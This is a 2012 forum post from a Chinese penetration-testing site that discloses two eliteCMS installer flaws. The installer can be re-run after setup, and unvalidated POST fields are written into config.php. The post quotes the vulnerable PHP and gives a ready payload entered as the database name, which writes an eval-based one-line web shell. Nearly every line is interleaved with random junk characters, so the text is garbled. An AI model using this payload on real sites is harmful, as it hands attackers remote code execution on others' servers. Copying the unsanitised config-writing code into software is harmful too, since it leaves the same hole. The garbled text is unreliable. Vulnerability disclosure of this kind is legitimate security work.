中国网络渗透测试联盟
标题:
eliteCMS安装文件未验证 + 一句话写入安全漏洞
[打印本页]
作者:
admin
时间:
2012-11-18 13:59
标题:
eliteCMS安装文件未验证 + 一句话写入安全漏洞
eliteCMS的安装程序安装结束后未作锁定,导致黑客可以通过访问安装程序地址进行重复安装
% d: t+ Z) w) i: c
8 n& w' m- \# _' H* l; b$ ?7 [1 B
另外一个漏洞是安装程序可以直接写入一句话到admin/includes/config.php
; |4 t+ {) K+ z3 d0 ~
我们来看代码:
! K" i, {. U {
" s9 c$ [- r) y, i2 I. C- v2 j# m
...
, u# L- c& A2 J, h
elseif ($_GET['step'] == "4") {
, t- X5 Y* P: S& P
$file = "../admin/includes/config.php";
* z5 L/ u- Z& j. R3 u
$write = "<?php\n";
' F+ q' U' l. _' E' y
$write .= "/**\n";
5 E H9 [; r4 ^
$write .= "*\n";
6 ?! m8 r$ V C& G$ P+ ?, P4 f! [
$write .= "*eliteCMS-The LightweightCMS Copyright 2008 elite-graphix.net.\n";
3 C' ]7 l9 z0 k: a( S
...略...
3 Z+ T! y0 {% x. i7 F! Z4 h0 s
$write .= "*\n";
$ t' F# Z4 v4 J2 N' j
$write .= "*/\n";
7 X, {' J+ b7 P- c
$write .= "\n";
; X" J0 P! p: P% k
$write .= "define(\"DB_SERVER\", \"{$_SESSION['DB_SERVER']}\");\n";
* O7 R/ k& _8 d+ A
$write .= "define(\"DB_NAME\", \"{$_SESSION['DB_NAME']}\");\n";
P( X" y5 ]+ x2 z
$write .= "define(\"DB_USER\", \"{$_SESSION['DB_USER']}\");\n";
- @/ P! ^& w" C
$write .= "define(\"DB_PASS\", \"{$_SESSION['DB_PASS']}\");\n";
+ \( M5 ^4 |! Z* \0 H7 i2 y3 i
$write .= "\$connection = mysql_connect(DB_SERVER, DB_USER, DB_PASS);\n";
- ?0 k8 M, {$ U# ^: |
$write .= "if (!\$connection) {\n";
: V* A$ X9 I# y/ X
$write .= " die(\"Database connection failed\" .mysql_error());\n";
1 w/ a6 b1 I Z4 } ?+ O2 U( I: h
$write .= " \n";
Q0 C, A2 w" y7 ?9 K
$write .= "} \n";
! p9 Q5 o$ o" q7 g2 N
$write .= "\$db_select = mysql_select_db(DB_NAME, \$connection);\n";
* U# y- Z' H; R0 W; s2 |/ k! t
$write .= "if (!\$db_select) {\n";
8 u# _- l7 _9 r* K& u/ y
$write .= " die(\"Database select failed\" .mysql_error());\n";
9 t. F4 g" b6 } k5 c( F
$write .= " \n";
& L( b; [0 n. }* j1 s
$write .= "} \n";
( u9 S- F6 ~6 H0 M" Z
$write .= "?>\n";
* E5 d2 Q. G$ T9 H6 T; k+ @1 L8 k
6 P- z0 L/ y- I/ ]' q7 N. x# }/ {
$writer = fopen($file, 'w');
' j' l' G* v* y5 T/ u$ B
...
3 G" d' Q2 K b5 G6 {3 L; ?6 m
+ ]1 R$ r2 a. [4 E
在看代码:
0 Y! ]0 ]+ U- ]9 H2 c M
9 }; O( u5 v \1 i
$_SESSION['DB_SERVER'] = $_POST['DB_SERVER'];
- |6 P: h7 ^& C z' W" B
$_SESSION['DB_NAME'] = $_POST['DB_NAME'];
4 d1 b3 G) f( V$ |/ J2 n
$_SESSION['DB_USER'] = $_POST['DB_USER'];
7 T& k- J0 ~. W G9 `
$_SESSION['DB_PASS'] = $_POST['DB_PASS'];
! e3 y' b. `$ B& M1 P
% ]; m6 W5 t2 n" d5 Z+ B
取值未作任何验证
" E7 c0 i/ r9 U4 d- u+ g
如果将数据库名POST数据:
6 v4 ~# ~- G* P+ p1 C
% R3 {- h, u9 O9 P$ t _
"?><?php eval($_POST[c]);?><?php
0 X0 h3 F2 z$ m# ?
1 W, n0 Q% ~$ X/ i- o$ \' P
将导致一句话后门写入/admin/includes/config.php
9 g/ `* ]/ s- o( S+ }
欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)
Powered by Discuz! X3.2